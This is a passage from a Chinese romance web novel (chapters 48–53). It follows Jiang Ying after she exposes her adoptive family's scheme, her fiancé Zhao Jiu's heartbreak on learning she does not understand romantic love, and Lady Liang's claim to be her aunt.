姜宝瑜身体一僵。
地上的人缓缓睁开眼睛,鲜血淋漓的手掌撑着地面,吃力地站了起来。
姜承祁看着她,露出一个似哭似笑的表情。
第48章 后悔
姜承祁并没有完全昏迷,身体里的药效一直折磨着他,滚烫的肌肤下,仿佛有一万只蚂蚁在追爬啃咬血管。
姜璎那两刀子下去,鲜血顿时汩汩而出,恰好误打误撞,失血过多使得体温骤降,令他不至于在这么多人面前丑态百出、颜面扫地。
也正是如此,才得以亲耳听见姜宝瑜所说的一切。
姜承祁简直不敢相信,自己的亲生妹妹原来是这副嘴脸!
“祁、祁儿……”刘氏小心翼翼地捧着他受伤的胳膊,心疼得眼泪都要掉下来。
女儿是宝,但儿子也是自己亲生的,又怎么可能看到受伤还无动于衷?
姜承祁推开了母亲的手,内心一片荒凉。
阿池有句话真没说错。
他们一家最擅长的就是冠冕堂皇,惺惺作态!
他不信母亲一点儿都不知情!如果不知情,她为什么只顾着给姜璎定罪,而对失血过多、倒在地上的儿子不闻不问?
因为她心里清楚,他出现在此,和姜璎毫无任何关系。
急于定罪,不过是想把姜宝瑜从中摘干净!
“阿兄……”姜宝瑜的眼里满是泪水,眼神哀求地看着他。
都到这个地步了,她还想要蒙骗他吗?
姜承祁的心仿佛被凿开一个大洞,无数冷风灌进来,他咬牙道:“阿宝,你叫我过来,口口声声常六混进内宅,跟踪阿池,我问你有没有看错,你说没有!怎么到头来,就变成……”
“阿兄是来接我们归家的,他为什么会出现在这,我想你才最清楚不过。”
他原封不动地复述了一遍姜宝瑜的话,见她眼泪滚落,不由冷笑一声,“真是好一张巧嘴,颠倒黑白,张口就来!”
“祁儿!”刘氏着急道,当着这么多人的面,他怎么能这么说自己的亲妹妹?
姜承祁低吼道:“阿娘!你到底还要包庇她到什么时候?”
郑氏被吓了一跳,连忙把姜璎搂到自己怀里。
“我、我脏……”
“一家人,我还嫌弃你不成?”郑氏瞪她一眼,又满是心疼道,“我可怜的阿池,怎么这些个丧尽天良尽让你给碰上了?”
一时间,诸多异样的目光落在永安侯府一家人身上。
刘氏如芒在背,恨不得找个地洞钻进去,可伟大的母爱还是强撑着她为女儿说话,流泪道:“你怎么能诬陷阿宝?她可是你的亲妹妹!”
姜承祁一时心灰意冷,“就是因为亲妹妹,我才这么信任她!连她什么时候给我下了药,我都毫无察觉!”
事到如今,姜宝瑜还在否认,双眼通红道:“阿兄,我真的不知道你在说什么,你明明是来接我和阿娘归家的,却莫名其妙出现在这——啊!”
突如其来的一巴掌,将姜宝瑜掀翻在地。
她满眼不可置信地看向姜承祁。
他打她……
“啊!”低呼声响起。
姜宝瑜下意识摸向自己的脸,果然!她的面纱被姜承祁那一巴掌打得飘落在地。
露出了一半红肿,一半结痂的面容。
姜宝瑜无比仓皇地捂住脸,低低哀叫:“阿娘、阿娘救我……!”
“阿宝!”刘氏心痛得难以呼吸,连忙捡起面纱给女儿戴上。
她转头死死看着自己的儿子,尖声道:“姜承祁,我看你是疯了!为了一个白眼狼,连自己的亲妹妹都可以诬陷伤害!姜璎到底给你灌了什么迷魂汤,让你们这些个男人为她如此疯魔!”
“住口!”怒斥声从一旁传来。
但令人意外的是,开口的并非王氏妯娌,而是……
梁女君。
“刘夫人,你们母女二人在陆家行此鬼蜮伎俩,竟还有脸口出恶言。”梁女君一贯温雅的面容在此刻充满冷意,“简直是品行低劣,死不悔改!”
姜承祁心里咯噔一声。
他们永安侯府已经得罪卫国公府和将军府,难道还要再添上王陆两家吗?
要知道,梁女君虽然只是王老夫人的养女,但论受宠程度,并不比亲生子女差半分。
当年她十里红妆嫁给陆家嫡次子,可谓是羡煞旁人,至今为人津津乐道。
姜承祁额前滚落大颗大颗汗珠,既是疼痛难忍,亦是惊惶不安。
他现在已经不敢肖想世子之位,只求不连累父亲官途!
姜承祁微微低头,恳求道:“擅闯内宅,实乃某之过……只是家妹一时鬼迷心窍,误入歧途,还请梁女君宽恕,给她一个改过自新的机会,某感激不尽!”
说罢深深作揖。
年轻郎君浑身浴血,姿态谦卑,倒令不少夫人暗暗点头,心生怜惜。
这永安侯府倒难得有明事理的人。
然而,梁女君的脸上却没有丝毫动容之色。
她看向姜璎,她躲在郑氏怀里,那么的瘦弱单薄,若非她果敢聪慧、临危不乱,只怕如今已经惨遭毒手,身败名裂。
想到这,梁女君藏在袖中的手微微颤抖。
她不能原谅自己……
更不会,原谅永安侯府!
“姜大郎君的漂亮话不该对我说。”梁女君冷冷道,眼神之中竟然流露出一丝憎恶。
姜承祁流血过多,实在已经体力不支。
可没有办法,母亲妹妹弄出来的烂摊子总得有人收拾。
他看向姜璎,面露恳求之色。
“阿池,阿兄之前误解了你,你能不能原谅阿兄?我保证,日后一定……”
“一定不会再出现我面前?”姜璎探出脑袋,脸上的血迹不知何时被她偷摸擦干净,因为擦的太用力,眼尾那一抹.红尤其明显。
姜承祁愣愣地看着她,似乎在这一刻,才终于意识到,她不要永安侯府的家人了。
眼泪骤然砸落。
他近乎狼狈地抹去眼角湿润,低声道:“我日后,尽量不出现在你面前,还有阿宝,你放心,我明日就把阿宝送回老家乡下,让她好好反省……可以吗?”
王氏偏过头,声音低柔,征求姜璎的意见,“阿池,你觉得如何?”
姜璎想了想,点头答应,“可以。”
顿了一下,她又补充道:“就当是彻底还清永安侯府的恩情,日后我们再无半点关系。”
姜承祁心脏骤痛,含糊吐出一个“好”,便再也忍不住,脚步踉跄地往外走。
终于到了无人的角落。
眼泪大颗大颗砸下。
他后悔了,真的后悔了。
第49章 万一
姜承祁走后,刘氏母女再也禁受不住众人异样的目光,尤其是姜宝瑜,听到要把她送去老家乡下,两眼一闭,直接晕倒在了刘氏怀里。
细细碎碎的嗤笑声响起。
梁女君冷声道:“来人,把刘夫人母女送出去。”
刘氏的里子面子统统丢尽,她也想晕,可想到女儿,又强撑着站直身体,“不用!我们自己有腿!”
刘氏看向姜璎,目光不无怨恨。
要不是因为她,阿宝何至于落得今日这般田地!
还说什么还清恩情,她欠永安侯府的,这辈子、下辈子,永生永世都还不干净!
永安侯府的仆婢低着头搀扶主子离去,今日这一趟,可谓是偷鸡不成反蚀把米,硬生生给大家添了不少茶余饭后的笑料。
想来接下来的一段时日里,永安侯府都没脸出来见人了!
“阿池。”王氏摸了摸姜璎冰凉的小脸,心有余悸道,“你这孩子,也太冲动了!”
碰到这种事情,不想着喊人来解决,反而自己一股脑地冲上去。
还好没什么事儿,要不然……
姜璎不擅长应对关心,尤其是王氏嗔怪中含着担忧,令她愈发无所适从,脸颊微微发红,低下头嗫嚅道:“我不想麻烦大家。”
姜璎也有私心。
姜宝瑜一而再再而三地纠缠她不放,她干脆眼一闭心一横,遂她愿把事情闹大,来个一劳永逸。
她承认自己这回确实冲动,甚至现在心口还在怦怦直跳,但她不后悔。
至少目前看来,结果并不差。
同行而来的几位夫人倒是难得对姜璎改观,纷纷笑道:“你倒是果敢,只日后可不许这样了,有什么事儿交给大人处置,难道不比你一个小娘子要来得可靠?”
她们方才也看见姜璎冲刘氏举起匕首,也忒吓人了!这要是伤着自己可怎么办?
王氏不免又瞪了郑氏一眼,谁让她陪着姜璎一起胡闹?
当然,对着姜璎她还是一如既往温声细语,“阿池,把匕首给我,这东西太危险了,我先替你保管。”
她心想:肯定是阿劫给的!这个臭小子,一天天的净给她添乱!
姜璎对着姜承祁下手时要多冷酷就有多冷酷,但到了王氏面前,什么尖刺棱角统统消失了个一干二净,她乖乖交出匕首,王氏身边的婢女接了过去。
梁女君望着姜璎雪白柔软的脸蛋,神情恍惚一瞬。
像,真是太像了。
眉眼神态,都仿佛一个模子里刻出来。
方才宴席上,她怎么就没有仔细看看呢?
内心懊恼无比,梁女君声音不自觉放轻柔,满是歉意道:“今日招待不周,还请……姜姑娘见谅。”
姜璎连忙道:“是我不好,给您添麻烦了。”
话音刚落,一个婢女前来禀报。
“女君,赵九郎君在外头等候,说是来接世子夫人等人回家。”
姜璎心头一跳,拉住了郑氏的衣袖,一脸的紧张兮兮。
“这会儿知道怕了?”郑氏没好气道,见她耷拉下脑袋,怎么看怎么可怜,又忍不住笑,“行行行,我不告诉阿劫。”
王氏好笑地看了她们一眼,没戳破她们的心存幻想。
赵咎要是不知道,还会来的这么及时?
王氏对梁女君提出告辞,“搅了姑母的兴致,回头再来赔罪。”
梁女君勉强一笑,“一家人,说什么赔罪不赔罪的,你能常过来走动,我就很高兴了。”
她话是对着王氏所说,但目光却一直跟着姜璎,甚至在她离开之时,下意识伸出手想要挽留。
姜璎并未看到。
她寸步不离地跟在王氏妯娌二人身边,心里直打鼓。
老天保佑,一会儿可千万不能露出马脚……
郑氏悄声道:“你别慌,越慌越容易出错。”
说的有道理,但姜璎还是控制不住紧张。
尤其是赵咎目光落在她身上的那一刹那,姜璎只觉无处遁行,差点就主动交代错误。
“赵九郎君……”她小声唤道。
“上车吧。”赵咎道。
姜璎上了马车,低着头,坐立难安的模样令郑氏无可奈何,她觉得自己之前真是猪油糊了心,明明他们家阿劫才是真正的狐狸精,把姜璎吃的死死的。
一直到回了卫国公府,王氏借口身子不适,回房歇息。郑氏也怕赵咎看出什么,找了个由头先走一步。
只剩下姜璎独自面对赵咎。
她结结巴巴道:“我、我也回,回房……”
“我说你可以走了吗?”冰冷的声音,让人不自觉打了个寒颤。
姜璎顿时一动不动,紧张地捏紧了手心。
赵咎淡淡问:“今天都做了什么?”
姜璎低着头,“我跟世子夫人她们去了陆家,吃了点东西,见了梁女君,然后……”
“然后什么?”
“然后就回来了……”姜璎讷讷道。
赵咎笑了一下,又问:“我给你防身的匕首呢?拿出来。”
到这会儿,姜璎再傻也意识到赵咎已经知道今日发生的一切。
她眼中闪过一抹慌乱,手心湿汗黏腻一片,小声解释道:“我的衣裳,不小心弄脏了,就去客房更衣……匕首,世子夫人拿去保管了。”
赵咎静静地看着她,“为什么骗我?”
姜璎低声道:“我做错了事。”
倏忽一声冷笑。
姜璎噤若寒蝉,哪怕闭上眼睛也能感觉到赵咎身上的低气压。
他一根一根掰开了姜璎的手指,看见指缝里尚未擦干的血迹。
“我是不是说过,不要以身涉险。你为什么不听我的?”
“我……”
“明明有更好的解决办法,能让祸事消弭于无形,你偏要兵行险招,拿自己的安危去赌去博。”
“甚至最后还想蒙骗我。”
赵咎问:“你有把我放在心上吗?”
姜璎慌忙抬头,想要解释,有的,一直都有。
但赵咎却松开了她的手,冷冷道:“我忘了,你连自身安危都可以弃之不顾,又怎么会在乎我的感受。”
姜璎强忍着难过,小声道:“我有保证自己的安危,我就是想自己解决……”不麻烦大家。
自从她来到卫国公府,给大家带来了太多太多的麻烦。
“你能保证?”赵咎的声音忽然拔高,“万一呢?万一来的人不是姜承祁,万一姜承祁失了控发了疯,万一你的匕首被他夺去……”
停顿时声线不稳。
赵咎深吸一口气,微微别过脸,眼尾泛起一抹潮红。
第50章 怀疑
仿佛洪钟掉落,回荡着震耳欲聋的余波。
姜璎惊怔地看着赵咎。
或许是幼年时期刘氏的情绪不稳定,让她留下心理阴影,姜璎最先注意到的不是他潮红的眼角,而是冷漠之中隐隐癫狂的神情。
那双乌黑的杏眼隔着一层雾气,像是骤雨前的夜晚,黑沉沉一片,透着压抑燥闷的气息。
暗示更大的风暴即将来临。
姜璎唇瓣微微抖动,竟是下意识地想要逃走。
只是双腿毫不争气,灌了铅地钉在地上,令她一动不动,心扉沉重。
她讷讷地说着对不起,却并不懂他为何如此应激。
她做错了事情,于是抢先一步审判自己,高高的牢笼束缚内心,也失去了感知爱的能力。
“对不起……”
赵咎看着她,有种一拳打在芦花上的无力,“……你根本不知道错在哪里。”
姜璎连忙道:“我,我不该不听话,随意涉险,置安危于不顾。”
听话。
赵咎捕捉到了这个字眼,眼中逐渐流露出不可置信的情绪。
“哈。”他笑了一声,点了点头,恍然大悟道,“原来如此。是不是我没有严令禁止,你就可以随意对待自己的身体?”
“不、不是……”
微弱的辩解在这一刻显得苍白无力。
因为姜璎发现,她自己都没有什么底气。
扪心自问,她做错的到底是没有听赵咎的话,还是随意轻忽自己的性命安危?
姜璎说不上来。
但赵咎已然明白一切。
生气、愤怒,茫然……无数情绪扑面而来。
宛如迷失在海面的渔民,大雾四起,寻不到归家的踪迹。
他甚至产生了自我怀疑。
先前的一切难道都是错觉?
不,不会的。
怎么不会?
当然不会!她那么纯粹简单,一是一、二是二,如果不喜欢他,又怎么会如此顺从殷勤?
可她连自己都不爱!
脑海里的争吵声音戛然而止。
赵咎眨了下眼睛,苍白的面色令姜璎心生担忧。
她总是这样,无时无刻关注着别人的状况,把自己排在最后一位。
眼中的紧张和担忧是如此真切。
像是找到了被爱的证据,在风暴来临的前夕,他抱着一块摇摇欲坠的木板,混身狼狈地上了岸,还不忘着补,粉饰太平。
赵咎想,没关系,她只是不懂如何珍爱自己,又不代表她没有爱人的能力。
是他操之过急,忘了一步一个脚印。
“阿池。”
赵咎轻轻握住姜璎的肩膀,努力平复自己的心情,反思道:“是我不好,我应该好好同你讲道理……”
姜璎愣了一下。
反转的太快,令她无所适从,甚至内心有种隐隐的不安。
她以为,赵咎会生气怒吼,发够了脾气,然后一走了之。
抑或者,总该有惩罚。
而不是像现在这样,平静得让她觉得有些可怕。
姜璎问:“赵九郎君,你不怪我了吗?”
赵咎看到她神情流露出小心翼翼,心脏骤然一紧,密密麻麻的刺痛向四周蔓延。
“对不起……”他喉咙干涩无比。
姜璎顿时有种见了鬼的感觉,惊悚得没边儿。
就在这时,辛夷走过来。
王氏到底放心不下两个人,怕两人吵架,又怕姜璎独自承受委屈。
她想,她应该和赵咎好好谈谈。
再这样下去,岂非造就一对怨侣?
辛夷道:“九郎,夫人请您过去一趟,说有要事详谈。”
姜璎如释重负,紧张得险些同手同脚,“那我,先回去了。”
赵咎看着她,好半天才轻轻点头。
他看出姜璎想要逃离,心中暗生苦涩,所以即便有外人在场,也还是轻轻抓住了她的手,低下头颅,笨拙道歉,企图弥补方才的一切。
“对不起,你别往心里去……我一会儿来找你,好吗?”
姜璎胡乱答应下来,赵咎松了手,看着她一个人慢吞吞回房。
想到今日发生的事情,赵咎拧起眉头,计划赶不上变化,想了想还是把香薷和香附等人重新安排回姜璎身边。
吧嗒。
帘子轻轻打落。
王氏在正堂等候许久。
她是操心惯了的性子,心里搁着事儿,怎么都躺不下去,干脆叫了赵咎过来谈心。
“大嫂。”
王氏微微抬眸,“我听说,你方才发了好大的脾气?”
赵咎神情僵硬一瞬,倒是主动承认错误:“是我的错。我不该跟阿池发脾气,忘了她从前生活的环境……”
“你也知道她从前生活不易。”王氏揉了揉眉心,“阿劫,你知道我为什么一开始并不赞成你和阿池?并非是因为家世悬殊的缘故。”
士族联姻,讲究的门当户对,不仅仅是为权势底蕴相配,更重要的是,同样的家庭出身,性情见识会尽可能的在同一条线上。
这样的结果再坏也不过是相敬如宾,而不是话不投机半句多,日积月累下,暗生怨怼!
夫妻夫妻,那是要过一辈子的!
姜璎这样的性情,做妾室可以,柔顺付出,绝对招人喜欢。
可赵咎非要娶她为妻。
妻者,齐也,要承担面对的东西自然不是一个小小妾室可以相提并论。
好在姜璎聪慧懂事、上进肯学,王氏渐渐放下了心中的隐忧。
她安慰自己,两个孩子,一刚一柔正好互补。想来便是赵咎再大脾气,也不过是一拳打在芦花上,掀不起多大风浪。
直到方才下人禀报。
王氏才意识到自己错得离谱。
“阿池的性情早已定型,你既然要娶她为妻,自该好好教导,让她明白任何一切都及不上她自身珍贵,怎么能上来就发脾气?”
“我以为,她会……”
“那都是你以为!”王氏怒声道,这群男人就是太自以为是!她本来不想挑破的,奈何赵咎根本没有意识到不对劲,还在这剃头挑子一头热!
再这样下去,也不用成亲了,媳妇什么时候跑了都不知道!
王氏深呼吸,一脸严肃地看着赵咎,“阿池生长在那种环境,你既知道她的苦楚不易,就该明白她与寻常小娘子的区别。”
“一直以来,她压根就不懂什么是男女之情……”
“不可能!”赵咎打断,声线不稳,面色难看得可怕。
第51章 心碎
他根本没办法接受这种荒谬的说辞。
“她不懂男女之情,难道之前种种表现,也都是装出来的不成?”赵咎冷笑一声,胸口起伏不断。
像是为了证明,一桩桩、一件件微不足道的小事都被他翻找出来。
“阿池古板守旧,从不与外男接触。唯独对我,与旁人不同!她只牵过我的手!”
王氏冷冷道:“那是你主动在先。”
赵咎立马反驳,“她也有主动拉我袖子!”
说完,正堂静了一瞬。
王氏看他就像是在看一个傻子,讽刺道:“袖子而已,你问问阿郑,今日阿池拉了几次她的袖子。这点小事还被你当作宝了?”
赵咎被王氏刻薄得差点说不出话来,面色难看道:“她给我做了香囊,还把唯一的物件玉佩送给我……”
“香囊每个人都有。”王氏望着赵咎的眼神一言难尽,这人要不要这么自作多情?
“至于玉佩,如果我没猜错的话,是你强要来的吧?”
“我没有!”赵咎铁青着脸,这要是赵太后在场,或许还会觉得眼熟。
这死不承认的神态简直和她一模一样嘛!
赵咎嘴硬道:“我只是开个玩笑,谁知道她真就给我了。这么重要的东西她都舍得给我,难道还不能代表她对我的在意?!”
这回轮到王氏冷笑了。
“阿池不喜欢你,这么简单明了的事实你都接受不了吗?”
“她怎么不喜欢我?”赵咎呼吸微微急促,整个人都快到狂暴边缘,还要据理力争,“就算是一点点喜欢,那也是喜欢!”
“她在意我,重视我,心疼我!怎么就不是喜欢了?!”
王氏不可思议地看着他,“阿劫,你认真的吗?还是在自欺欺人?”
赵咎被气得头脑发昏,“大嫂,你也太看不起我了吧?在你眼里,我是那种指鹿为马的人吗?”
王氏安静片刻,发现他不是在自欺欺人后,脸上的表情越发诡异。
“那你怎么会以为,阿池喜欢你?”
“她怎么就不能喜欢我?!”
话题又绕了回来。
王氏头疼道:“真正的喜欢,不是这样的……”她不知道如何解释,这些话本来也不该由她来跟小叔子说。
“阿劫,你冷静下来好好想想,阿池对你,更多的是言听计从,而不是倾心爱慕。因为是你,救她脱离苦海,换做旁人,她未必不会心甘情愿将一切乃至性命都交付出来。”
“不可能。”赵咎道,脸色隐隐发白。
王氏叹了口气,声音放轻道:“她根本不懂什么是喜欢,我们对她一分好,她便恨不得十分回报,只知道一味付出,来证明自己拥有存在于这个家的价值。”
又可怜,又可悲。
这才是王氏觉得她和赵咎并不适合的根本原因。
身份不平等的时候,只有拥有话语权的那一方才会觉得这是小事一桩。
事实上,那种落差感就像是踩着高跷。
小心翼翼,如履薄冰。
生怕一不小心便摔得鼻青脸肿,受伤事小,出丑为大。
这些是高高在上的贵族所无法想象的。
“阿劫,你既然决定要与她共度一生,就不能只顾自己……”
“我没有只顾自己!”赵咎双目赤红道。
他怎么可能只顾自己?他做那么多,都是为了她好……
这个念头一冒出来,赵咎浑身僵住。
他怎么会这么想?
他怎么能这么想?
王氏静静地看着他,叹息道:“倘若阿池只为报恩,潜意识里将你奉为至高无上的主人,你说,她怎么会喜欢你?”
“够了。”
赵咎不想再听,他转身离开,疾步如风。
另一边。
姜璎满脸惊喜地看着香薷和香附,还有之前伺候她的仆婢,全都回来了。
“赵九郎君有没有罚你们?”她关怀道,“是我不好,连累你们了。”
香薷摇了摇头,“姑娘千万别这么说。”
九郎原本就没想到撤掉她们,只是小惩大戒,让嬷嬷调教了她们一段时间。
想到这几日的生活,香薷顿时头皮一麻,心中暗暗下决心:她们一定好好伺候姑娘,绝不能再发生像上次那种事情!
姜璎没想到自己冲动一次,赵咎真的把香薷香附她们放回来了,心中的惶恐稍稍减去大半,撒娇道:“香薷,我想吃你做的雪耳粥。”
香薷连忙点头。
姜璎又对香附道:“我才到家呢,你帮我把头发拆了吧。”
“嗯!”香附走到姜璎身后,默默红了眼眶,还好姑娘一直惦记着她们。
香附拆开辫子,用牛角梳轻轻按摩姜璎的头皮,忽然外头响起仆婢的惊呼。
“九郎?!”
姜璎身体一僵,下意识起身,微卷的头发披散肩后,顾不得失仪,她连忙走出去。
“赵九郎君。”
“阿池。”赵咎走过来,呼吸急促而发烫,他握住姜璎肩膀,目光一瞬不瞬地盯着她,“我有问题要问你。”
这目光太吓人,姜璎结巴道:“什、什么问题?”
“你喜欢我吗?”
“啊?”姜璎懵住了。
赵咎喉咙干涩,眼睫被潮气打湿,像下了一场绵绵细雨。
他微微低下头,又问了一遍:“你喜欢我吗?”
这回姜璎听明白了,毫不迟疑点头:“喜欢的。”
喜欢反过来就是讨厌。
姜璎怎么可能讨厌赵咎?
她一直都很感谢他救她、帮她,为她所做的一切。
可是……
姜璎偷偷看了赵咎一眼,他面色发白,似乎并不满意她的回答。
“你知道什么是喜欢吗?”他问,“看见了就想要亲近,看不见的时候又会想念,思之如狂,辗转反侧……”
就连咬着名字的时候,都像是吃了蜂蜜,在心里化开甜意。
他语无伦次地描述着。
姜璎却无法感同身受,愣了片刻,不知道该怎么作答。
喜欢原来是这样的吗?
她脸上的空白令赵咎凝滞一瞬。
余下的话似乎也没有再说的必要。
原来从始至终,都是他一厢情愿,自作多情。
赵咎喃喃道:“太可笑了。”
这未免也太可笑了。
“赵九郎君,你怎么了?”姜璎担忧地望着他,是不是生病了?从回来到现在,他好像一直不对劲。
赵咎躲开了她的触碰。
无力垂落身侧的拳头渐渐勒紧至泛白。
睫毛轻轻颤栗,泪水落在脸上,湿润一片。
仿佛有什么东西悄悄碎掉了。
他说:“姜璎,我不想再看见你。”
第52章 自闭
豆大的雨珠砸落在地,噼里啪啦,很快地面凝聚了一片小水洼。
初夏的这一场潮雨不仅没能驱走半分燥热,反而使得空气愈发沉闷。
姜璎跪坐在王氏面前的软垫,将起因经过仔仔细细说了一遍,而后低着头沮丧认错,“夫人,对不起……我又做错了事情。”
王氏无奈道:“谁知道他发的哪门子疯?跟你没关系,听话,我们不搭理他。”
姜璎过来是寻求帮助的,她实在不知道该怎么办了,眼眶微微泛红,声低不安道:“夫人,我到底应该怎么做,才能让赵九郎君原谅我?”
自昨日离开,赵咎就把自己关在了房间,没有踏出房门半步,甚至连送进去的膳食也原封不动拿了出来。
姜璎试图去认错,却被拦在院外。
不仅如此,她做的香囊、送的玉佩,被放在了一个雕漆木匣中,让归南送了回来。
好像一副划清界限、断绝关系的架势。
郑氏听说以后,差点笑抽过去。
他这是要闹哪出?
为爱绝食嘛?
“阿池,你就听大嫂的,别管他。”郑氏哼了一声,”男人都一个德行,喜欢蹬鼻子上脸,你信不信放几日他自己就好了?”
姜璎这会儿一点也听不进去,她无意识地掐着手背,月牙深浅不一,脑海里浮现起赵咎昨日的话。
他说,他再也不想看见她。
姜璎鼻尖一酸,差点忍不住要流下泪来。
她开始后悔自己为什么要冲动行事,明明赵咎早就说过不能以身试险的。
她没有听话。
如果不是她不听话,赵咎也不会生气,后面的一切都不会发生。
“阿池?”王氏唤了一声,看她好像不太对劲的样子。
姜璎抬起头,努力把眼泪憋回去,吸着气道:“我太糟糕了。”
赵咎现在一定很后悔,他当初就不该自讨苦吃找这种麻烦。
郑氏手忙脚乱拿出帕子给姜璎擦眼泪,又摸了摸她额头。
“怎么就糟糕了?也没发烧啊,说的什么胡话?”
王氏暗叹一声,正要说什么,外头人来禀报。
“夫人,九郎进宫去了。”
“……”
王氏下意识看向姜璎,她愣在原地,脸上不知不觉淌了泪水。
终于到了该离开的日子吗?
似乎是感知到大家的目光,僵硬的肢体逐渐有了动作,她如梦初醒,低着头起身,腹稿打了又打,依旧支离破碎。
姜璎露出一个拘谨而温顺的笑,小声道:“这些日子,多谢世子夫人和二夫人的关照,我……这就回去收拾东西。”
外面的风雨尚未停歇,但她的内心却已然尘埃落定。
这一段安逸而温暖的时光仿佛是拾捡而来。
她怀揣着宝物,惶惶不可终日,直到终于有一天,需要物归原主。
姜璎想:等赵咎带着解除婚约的诏书回来,她就自寻出路吧。
“阿池!”郑氏最先反应过来,拉住她的手,“你去哪儿?阿劫说的都是气话!他就是自觉丢了面子,才说那些不想见你的话……谁知道现在是不是躲哪个角落哭呢!”
姜璎固执道:“赵九郎君不是会说气话的人,他是认真的。”
况且,她确实一点也不听话。
郑氏不禁扶额,阿劫这个臭小子,到底给他未过门的媳妇灌了多少迷魂汤?
姜璎回去收拾了东西,把最重要的赐婚诏书又检查了一遍,才交给王氏。
她的东西不多,只有一块玉佩,和先前来时那一套不合身的嫁衣,首饰更是寥寥无几。
面对王氏妯娌二人的劝说,姜璎知道她们是在安慰自己,摇了摇头道:“我犯了错,赵九郎君不想要我也是应该的。他入宫取消赐婚,我理应主动离去。”
当初说的为奴为婢不是虚言,姜璎心甘情愿。
只是……
赵咎都不想再看见她了。
心口无声无息地撕开一道缝隙,雨水落了进去,潮湿一片。
王氏无言以对,郑氏瞠目结舌。
这孩子,脑袋瓜里到底想什么呢?
“取消赐婚?你可别想了。他就算得了失心疯,也不可能放你走出赵家半步!”郑氏道,赵咎也就是看着仪表堂堂、正人君子,赵家的男人有几个是正常的?
她强拉着姜璎坐下,结果屁股还没沾到软垫,仆婢匆匆忙忙进来禀报:
“夫人,陆家的梁女君前来拜访,说有要事商议。”
王氏眸光一凝,安抚地看了一眼姜璎,让郑氏留下陪她,方才起身更衣,出面待客。
梁女君的到来让姜璎越发坐立难安。
郑氏道:“阿池,你放心,不会有事的。至于阿劫……”
郑氏敢打包票,赵咎进宫不是和某个身为皇帝的狐朋狗友商量如何获取未来媳妇的心,就是向赵太后这个长姐寻求弥补过失的方法。
他能不掉眼泪都算他有出息!
……
赵太后看着面前的人,忍无可忍道:“你能不能有点出息?”
“不就是一个女人?你堂堂卫国公嫡子,难道还找不到比她更好的吗?天涯何处无芳草!”
好一个天涯何处无芳草。
赵咎坐在角落,手里捏着酒盏,脖颈的筋脉微微胀起,神情晦暗不明。
他低声道:“我就要她。”
赵太后又急又气,又忍不住苦口婆心劝说,“强扭的瓜不甜,她既然看不上你……”
这话说的委实心痛,没想到有朝一日她的宝贝弟弟也会遭人嫌弃!
这个姜璎,真是太没眼光了!
“谁说她看不上我?”
赵咎忽然打断,侧目而视,眼睛通红一片,“她只是现在看不上我,又不代表以后看不上!你到底是谁的长姐?不帮我就算了,还泼冷水,安的到底什么心?!”
赵太后傻眼:“……”
不是,她说的是实话啊。
怎么就成了泼冷水?
赵咎微微垂眸,眼眶潮湿一片。
他想起自己之前在长乐宫说的话。
那个时候,他以为姜璎对他至少还有一点喜欢。
那来之不易的喜欢。
结果呢?
都是他自以为是,一厢情愿!
不远处,明惠帝默默把身体藏了藏,免得被波及怒火。
这痛失小娘子欢心的男人真可怕。
啊不,是压根没有拥有过。
第53章 破防
卫国公府。
仆婢领着梁女君入座,“夫人正在更衣,还请女君稍等片刻。”
梁女君淡淡一笑,她这次来的匆忙,并没有事先递拜帖,确实失礼理亏,就算王氏是故意为之,她也不好说什么。
“姑母。”不过一盏茶的功夫,王氏在贴身仆婢的搀扶下走进来,冲梁女君微微而笑,关切问道,“姑母今日怎么想到登门?可是有什么要事?”
梁女君见她独自前来,身后并无旁人,眼中悄然划过一抹失落。
她向来是滴水不漏的性子,今日却没有兴致同王氏客套场面话,轻轻叹气道:“我来,确有要事。”
昨日宴席草草结束,作为主人家的梁女君自然面子上不好看,只是,令她愁肠百结的并非失了颜面,而是……姜璎。
这世界上怎么会有如此相像的两个人?
不论是皎然玉质的五官,还是冷清倔强的神态,都和阿姊一模一样。
宴席散去,梁女君立刻派人去查姜璎的身世。
从她幼年于流民群中被永安侯府大郎君拾捡回家,到长大以后的貌美如花,明眼人瞧着都以为是特意栽培的瘦马,却没想到姜宝瑜认祖归宗后,意外突发。
一桩桩,一件件。
拼凑成狼狈不堪的形象。
若是昨日之前,梁女君或许一笑置之,不以为然,左右一个不受重视的养女,与她又有何相干?若能发挥点涌出,便是她最大的价值。
可现在,只要想到姜璎的身世,梁女君便心痛欲碎,望着王氏的目光不禁流露出殷切期盼,“阿池……她昨日可有受惊?能否请她出来见一面?”
王氏顿生疑虑,拿捏不准梁女君的用意,只歉然道:“姑母怎么问起这个来了?她这会儿怕是还午憩未醒,不大方便。”
梁女君听出推拒意思,扯了扯嘴角道:“事到如今,我也不瞒你了,阿池……她是我的嫡亲外甥。”
最后四个字落下。
王氏嘴角的得体笑容凝固一瞬。
她心中浮现起同赵咎昨日如出一辙的念头。
——这未免也太可笑了!
“姑娘。”辛夷脚步匆匆,虽木屐无声,但微微急促的呼吸还是暴露了她的心情。
姜璎下意识起身,又被郑氏强行摁下。
她抓着裙衫,讷讷道:“辛夷姑姑,是不是赵九郎君回来了?我可以马上就走……”
“不能走!”
“可不能走!”
郑氏和辛夷异口同声。
辛夷生怕姜璎误会,连忙道:“九郎还未回来,姑娘放一百个心,切莫胡思乱想……奴婢过来,完全是夫人的意思。”
姜璎紧张起来,“世子夫人怎么了?”
辛夷见她这反应,心稳了大半,低声道:“那梁女君说了些莫名其妙的话,把夫人气得不轻。她还非要见您,说今日见不到您,就不走了。”
姜璎只听见前面一句,当下脑子一嗡,愤怒道:“欺人太甚!”
世子夫人还怀着身孕呢!
郑氏被吓了一跳,刚要追上去,就听见辛夷小声道:“梁女君说姑娘是她的嫡亲外甥,要把人带走。”
郑氏当即瞪大眼睛。
什么外甥不外甥?
她这是树下等枣,张口就来啊!
王氏的意思很明显了,不管是不是真的,都不能让梁女君把姜璎带走!
郑氏连忙跟上去,“阿池,你慢点!”
姜璎放慢脚步,但双手却慢慢攥紧,郑氏暗道这个家里就数大哥大嫂会耍心眼子,这种情况下还不忘给姜璎吹耳旁风。
看把孩子给气的!
正厅之中气氛凝滞。
自从梁女君说了那些话后,王氏的脸上便没了笑意,本就没什么感情,更不要说梁女君此番前来“认亲”,简直莫名其妙!
王氏淡淡道:“姑母说笑了,且不说您空口无凭,没法证明所谓的血缘亲情,便是嫡亲姨甥,那也没有将人带走的道理,得看阿池愿意与否才是。”
梁女君不置一词。
她若是早早见过姜璎,根本不会放任她在永安侯府受那等子帮闲气!凭赵家也想捡便宜?做梦!
雨丝如雾,纤细身影沿长廊而来,愈来愈近,愈发清晰。
